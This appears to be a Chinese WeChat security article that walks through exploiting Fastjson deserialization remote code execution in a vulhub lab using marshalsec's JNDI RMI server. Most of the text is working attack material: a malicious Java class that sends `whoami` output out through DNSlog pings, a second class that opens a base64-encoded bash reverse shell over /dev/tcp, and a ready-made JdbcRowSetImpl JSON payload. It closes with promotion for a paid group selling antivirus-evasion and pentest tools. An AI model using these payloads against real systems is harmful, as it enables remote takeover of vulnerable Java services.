由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!
免责声明
1.基于属性
2.基于 setter/getter
提供 RMI 包。RMI 指的是远程方法调用 (Remote Method Invocation)。它是一种机制,能够让在某个 Java虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法。可以用此方法调用的任何对象必须实现该远程接口。调用这样一个对象时,其参数为 "marshalled" 并将其从本地虚拟机发送到远程虚拟机(该远程虚拟机的参数为 "unmarshalled")上。该方法终止时,将编组来自远程机的结果并将结果发送到调用方的虚拟机。如果方法调用导致抛出异常,则该异常将指示给调用方。
Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞
Fastjson反序列化漏洞
1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的setter/getter方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
sudo apt install maven
1.wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
2.mkdir /opt/maven
3.tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
4.vim /etc/profile
5.export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH (在profile文件最下方添加)
6.source /etc/profile (使其生效)
7.mvn -version (验证是否成功
1.git clone https://github.com/mbechler/marshalsec.git
2.cd marshalsec/
3.mvn clean package -DskipTests(编译工具)
4.cd target/
5.java-cp marshalsec-0.0.3-SNAPSHOT-all.jar
6.marshalsecjndiRMIRefServer"http://(启动python服务的ip):(启动python服务的端口)/#dnslog"999
1.cd vulhub
2.cd fastjson
3.cd 1.2.24-rce
4.docker-compose up -d
import java.lang.Runtime;
import java.lang.Process;
public class fastjson{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh", "ping user.`whoami`.dnslog平台生成的网址"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
Python3 -m http.server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://python开启的http服务IP:PORT/#恶意class文件类名
POST / HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetlmpl",
"dataSourceName":"rmi://开启rmi服务的ip:prot/恶意类名",
"autoCommit":ture
}
}
import java.lang.Runtime;
import java.lang.Process;
public class fastjson{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=}|{base64,-d}|{bash,-i}"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE= 为base64编码的IP和PORT
}
}
}
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读